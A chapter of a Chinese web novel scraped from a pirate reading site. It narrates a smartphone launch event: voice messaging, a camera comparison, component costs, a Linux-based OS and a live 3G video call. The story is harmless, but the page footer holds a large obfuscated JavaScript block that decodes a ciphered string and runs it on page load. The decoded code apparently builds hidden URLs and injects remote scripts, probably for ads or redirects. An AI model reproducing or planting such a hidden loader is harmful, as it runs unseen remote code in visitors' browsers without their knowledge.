首页
第310章 硬核展示
返回
关灯 护眼:关 字号:小

第310章 硬核展示

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    陈学兵向台下随意一指,一个长得喜气洋洋的小胖子获得了宝贵的机会。
    穿着青花旗袍的礼仪小姐递上金属质感的手机。
    这台手机经过了多次减重,重量160克,厚度9.3mm,而且因为展讯的微型天线技术,良好地解决了IPHONE一代没有搞定的金属法拉第笼问题,并节省了移动天线的空间,长度仅97mm,宽59mm。
    握在小胖子手里,显得沉甸甸的。他手指略带颤抖地按了一下那个唯一的按键,清晰的屏幕在他面前亮起时,他吞了吞口水,学着刚才屏幕上的动作,滑开了屏幕。
    清脆的解锁声,比刚才通过音响播放出来时震撼了许多,周围的人站着,眼光都紧紧凑在这屏幕上。
    “你叫什么?”陈学兵笑着问道。
    “我”
    小胖子有点紧张,旁边的人都给予小声鼓励。
    “别紧张,说。”
    “说我们论坛名字!”
    “额”小胖子脖子昂了起来:“我是天涯论坛,网虫部落社区的副版主!我的ID叫益达!”
    益达是箭牌公司1984年在美国推出的第一款无糖口香糖。
    “哦”陈学兵想起一则广告,心里洋溢起一丝趣味,拿起手机打开了星联软件“测试016”号好友的聊天界面,摁着屏幕,用尽量标准的腔调说了一句:
    “嘿——益达。”
    此时台下的人注视着陈学兵的动作,也从幕布里看到了手机的操作,随着界面下方的“按住说话”被摁住,显示屏里有一个类似对讲机的标识出现。
    屏幕显示似乎和陈学兵的动作有两秒钟的延迟,但在大家看来也是很正常的事情。
    实际上幕布上的画面跟陈学兵手里的手机没有任何关系——那是导播播放的反应延迟。
    但大厅里的信号却是真真实实的存在,一座3G试验信号站,此时只为两台手机提供服务。
    贼快。
    不过五秒钟,益达的手机上方便出现了一个提示。
    「“测试007”的语音消息。」
    益达愣了一下,直到提示消失,也没有点开。
    旁边的礼仪小姐姐立马提示了一下,指引他打开星联,并递上了一个话筒,放在手机扬声筒边。
    益达的手指触碰到短短的语音条。
    当语音消息“嘿——益达“从观众席中响起时,旁边的大学生小彤突然捂住了嘴巴。
    上周她刚花半个月生活费给农村的奶奶买了部老人机,此刻她仿佛看见奶奶布满皱纹的脸在屏幕前绽放笑容。
    她想起了很多时刻。
    “这个功能.”她的内心有些颤抖,“我要教会奶奶用。”
    一个程序员的小团体爆发出一阵骚动。
    “语音传输?太快了吧??”
    最震撼的,是角落里的老记者王建国。
    这位报道了三十年通讯技术的资深媒体人对这个功能简直惊为天人,他缓缓摘下老花镜擦拭镜片,对旁边跟着他的小年轻长叹:
    “92年我报道第一部大哥大,售价要两万八,今天这台手机,又是一个新时代我看配得上当年大哥大的售价。”
    陈学兵的笑声出现:
    “这是一款我们自创的通信软件,它可以实现语音传输功能,这个功能操作方便,方便所有年龄段的人群使用,能让对面的星联用户听到自己的声音——还特别省流量。”
    又是三秒的寂静。
    全场开始爆发出雷霆般的掌声。
    陈学兵抬了抬手,又补充道:“这个语音信息,还可以保存在手机上,让大家永久记住那一刻与亲人朋友聊天时的声音和心情,虽然有点占内存,但我们给大家提供了价格实惠的内存条,照片和语音都可以保存在里面。”
    掌声又续上了。
    观众们不得不叹服,这个设计,实在太聪明了!!
    台下或许只有王总曾对这个功能不太满意,不过陈学兵当初提及这个功能时仅用一句话便轻松地说服了他:
    “如果让老年人都能用上网络功能,还愁用户量吗?”
    这是移动互联网的入口。
    他现在也心动了,想把这个功能也搞到自家设计的通信软件上,但对移动来说,普及太难了,目前只有昆仑系统搭配一定的硬件支持才能使用。
    但在观众的眼里,这次展示就是流畅而突破想象的!
    他们亲眼看到了未来!
    接着,陈学兵询问有没有使用高清拍照手机的用户,对比体验拍照和发送功能。
    一位大学老师拿着今年的拍照王者诺基亚N73站了起来,自告奋勇要比一比。
    奇点工作人员也拿出了一款插卡的N73。
    很简单的实验对照组:麒麟拍照,用星联传麒麟,N73拍照,用彩信传N73,然后让几位观众上来评判观看效果。
    结果自然而然。
    “麒麟要清晰很多。”
    “我选麒麟!”
    “完全不是一个层次。”
    连那位自信满满的大学老师也对钟爱了6年的诺基亚失去了信仰:“屏幕大小相差太多,观感差距太大了.”
    “我们使用的双摄像头,前端像素80万,后端像素也只有200万,总成本可能不到N73蔡司镜头的二分之一,这部分成本终归要转嫁给消费者的,所以N73的售价达到了4750块。”
    陈学兵说着,再次重申:“这就是我说的各大厂商竞争产生的性能溢出,这部分拍摄性能只能用于电脑存档、打印或社交分享才能体现,而非提供于手机屏幕观看,所以我们选择了更能替用户省钱的方案,等到屏幕分辨率更高一些,能良好展示更高像素的照片,再提升摄像头规格。”
    大家听到这话,都开始注意到价格问题。
    那麒麟.多少钱?
    导播团队把控着节奏,切换了一个芯片介绍的界面。
    “不过该花的钱,还是要花的。”
    “我们使用了Marvell特别设计的65nm芯片,展讯专供的90nm基带,还有DSP,传感器,触控芯片等等,片上系统集成价格超过1200块。”
    “屏幕方面,我们使用了康宁外屏和LG内屏集成,都是极高规格,加上4.2英寸的面积切割不太经济,综合价格同样过千。”
    “我可以坦言,光这两项成本,已经超过了市面上99%的手机制造成本。”
    “如果去掉一些纯手工制造的非标生产线出产的奢侈品手机,那么这个数字要达到99.9%。”
    这是中国厂商第一次公开手机核心部件的真实成本。
    台下响起叹息。
    就知道不便宜。
    但看到现在,叹息中也包含着理解。
    手机做成这样,当然不便宜!
    陈学兵继续拉高阈值。
    “此外,还有一些功能模块,比如我们使用了一款双轴陀螺仪,成本价厂商不让说,反正几百块。”
    一阵轻笑后,陈学兵继续功能展示。
    所谓双轴陀螺仪,就是可以通过俯仰(Pitch)和横滚(Roll)动作完成角度传感,和三轴的对比是无法检测水平方向的移动。
    屏幕自动旋转打开,重新进入电影播放界面。
    手机一个旋转,横屏的播放界面,竟然转过来了。
    这个功能再次引起惊叹。
    “横屏观影,竖屏阅读,当然功能还不止这些。”
    “可以玩动作感应游戏,比如赛车,飞行。”
    “可以补偿拍摄时X/Y轴的手部抖动和GPS惯性导航的补强。”
    “当然,更好的游戏,更好的拍摄软件,和一款真正的智能导航软件,我们都要交给广大的市场开发者。”
    “而我们耗费了重金,打造了一款供开发者使用的平台。”
    话落,灯光很有仪式感地一暗,幕布上出现了“昆仑系统”的字样。
    “今天,我们有幸邀请到了中国开源软件推进联盟,和Linux基金会董事JimZemlin。”
    台下左侧的嘉宾们颔首微笑,Jim更是很友善地起身,对着后面招了招手。
    “基于Linux2.6深度定制的手机操作系统,是我们开发这款手机最大的工程量,那么意义是什么呢?”
    幕布切换画面。
    一、硬件资源管理与性能优化
    二、人机交互的范式革命
    三、生态构建与安全可控
    最长的演讲开始了。
    资源管理上,底层核心、统筹处理器、内存、传感器等硬件资源分配,深度整合芯片与影像模块。
    交互方式上,从命令行→图形界面→触控操作,最终向最自然的语言交互跃迁。
    开发生态上,一次开发多端部署,代码复用率85%,内核级防护实现数据与权限可控。
    在介绍关键技术参数时,语速会刻意放慢,每个音节都咬字清晰,说到激动处也突然提高半个八度。
    顺便做了一下目前主流的SymbianOS,WindowsMobile,BlackBerryOS的对比。
    其实没什么可比性,这款系统就不是为手机键盘服务的,触控智能交互上只有那款未出世的IOS才能相提并论,连底层代码的完整程度上,LINUX也不比他们弱,陈学兵一顿碾压之后,才略微提及手机功能代码部分的丰富程度相比其他手机系统还有进步的空间。
    这次台下无人说话,大家听得十分认真,甚至有爱好者在做笔记。
    这么神奇的手机是如何实现的,谁不想知道啊?
    15分钟的演讲,大家才恍然明白:真的不是堆硬件就能做的!
    想解析这款手机,以往极客用户的拆机模式根本不行了!必须深入系统层!
    讲完这三点,陈学兵颇为振奋地总结道:
    “昆仑系统是开源的,我们的自主UI也要拥抱开放精神,推广到全世界大部分的国家,首先是亚洲和欧美,我们将出资创办世界开发者社区,吸引各国优秀的开发者共建生态,我们的手机以后要有上万,十万,乃至百万款软件,真正达到电脑,超过电脑数量级的软件生态将是必然趋势,因为手机是比电脑更加方便的终端,从交互方式上,也比电脑拥有更多的可能,手机软件将进入我们生活的方方面面。”
    讲完,一片安静。
    大家还在等待着什么,意犹未尽。
    讲啊,继续讲啊!
    会有哪些软件?
    陈学兵看到那些期待的眼神,微微一笑。
    接下来的内容,自然是不能再讲了。
    再讲下去,可就是互联网+了。
    他只是告诉大家未来已至,可没打算教人怎么挣钱。
    有些东西是公开课,有些是独门秘籍。
    很快,下面展讯的员工反应过来开始鼓掌,其他观众才意识到这个话题已经结束了,开始汹涌地鼓掌。
    “以上,都是我们开发一款互联网智能手机的成本。”
    “还有没有其他的成本呢?”
    “有的。”
    陈学兵三句话,幕布浮现最后一个议题。
    3G。
    “刚才大家有没有发现,我们星联软件的语音发送的速度特别快?”
    台下纷纷点头。
    “这当然不是什么黑科技。”陈学兵指着头顶笑道:“是因为我们的楼顶有一座3G试验基站,专门为我们的发布会提供服务。”
    “这要感谢华为通讯公司的帮忙,是他们的3G技术给我们搭建了展示未来的桥梁,当然,也要感谢信产部的试验批准,很荣幸,今天请到了信产部闻司长,中国移动总裁王建宙先生,华为通讯总裁任证非先生到场。”
    陈学兵朝台下抬了抬手,前排中间落座的三位招手示意。
    中间的观众人麻了。
    这年头大多数名字和人脸在群众心中是对不上号的。
    这一介绍,大家才知道前排简直是众星云集。
    乔布斯,信产部,中国移动!名人堂啊!
    还能为了发布会建基站!
    “还有.展讯通信的董事长武平先生。”陈学兵给武平单开一页,自然是有话要说:
    “大家知道,我们国家乃至全世界的3G进程都还比较缓慢,为了移动互联网的快速发展,我们投资了展讯公司,投入3G技术研发,共建3G标准。”
    “再告诉大家一个喜讯,上个月,中国移动已经确定运营TD-SCDMA标准,即将在奥运承办和协办城市建设第一批试验网,在不久的未来,我国的3G网络就要进入试运营阶段。”
    “我们为了让麒麟用户第一批体验到3G网络,特别选用了展讯的TD标准基带芯片,其中集成了展讯和华为的高端通信技术,确保了最好的传输效率。”
    “至于TD-SCDMA技术能够达到什么样的传输效率呢?”
    “下面,我想打一个网络电话。”
    “还是用我们的通信软件,星联。”
    幕布上出现了一个摄像头画面。
    陈学兵走到那个讲话台,手机对准摄像头,第一次真正实时演示。
    第一步,打开设置界面里的“网速”按钮。
    “大家注意左上角。”
    ——那里出现了“0KB/S”的字样。
    而后开始向“测试008”拨打视频电话。
    此时台下的王总已经拿到了一台麒麟手机,接通电话。
    王建宙的脸出现在幕布上,他看着屏幕,笑意逐渐展开,点了点头。
    他眼里的画面尚算清晰,五官比较清晰地呈现。
    麒麟的分辨率是QVGA,4.2英寸屏幕、150PPI的显示条件下,人眼能明显分辨照片差距的阈值实际就12万至24万像素。
    陈学兵靠在桌沿对着轻松聊天:“王总,视频效果怎么样?”
    “很好!”
    “这场发布会,你感觉怎么样?”
    “很好!感谢你为我们展现了未来的技术!”
    大家已经看到,屏幕顶端的网速跳到了770kb。
    支撑用户端视频上传至少要达到128kbps。
    这个速度,已经完全覆盖,甚至能对视频进行一些精度压缩,提高显示效果。
    “那,你觉得首批3G网络覆盖是五个城市还是八个城市呢?”
    陈学兵笑着现场逼宫。
    “如果让我说,当然是八个!”王建宙用坚定的语气说这模棱两可的话,但随后给了个明确的表态,“我们移动的3G网络会尽快覆盖,一定不让广大用户久等!下个月就招标!”
    观众席都惊了,连展讯的一千多预备员工都惊了。
    发布会上谈基站招标??
    王总亲自对着陈总表态,那展讯.应该有活干了吧?
    他们也有机会上战场了?
    这下,掌声又起,前所未有的高昂。
    中间的用户甚至都不知道怎么回事,只能跟着鼓掌。
    陈学兵挂了视频,走到舞台中央。
    “我们的努力,大家看到了。”
    台下纷纷点头。
    “很硬核吧?”陈学兵再次问道。
    “硬!太硬了!”有人直接喊了出来。
    到现在为止大家因为陈学兵的演讲内容太过密集而无法将情绪表露,但内心已不知道有多么激动。
    陈学兵看向下面,发现有的观众眼眶竟然红彤彤,他心有所感,眼神飘忽,仿佛看向了全国的受众。
    “现在,我们还有一件事,正在犹豫。”
    “就是这台手机的售价。”
    他眼角浮现转瞬即逝的笑纹。
    “要不我们现在商量商量,这台手机,我们应该卖多少钱?”
    (本章完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();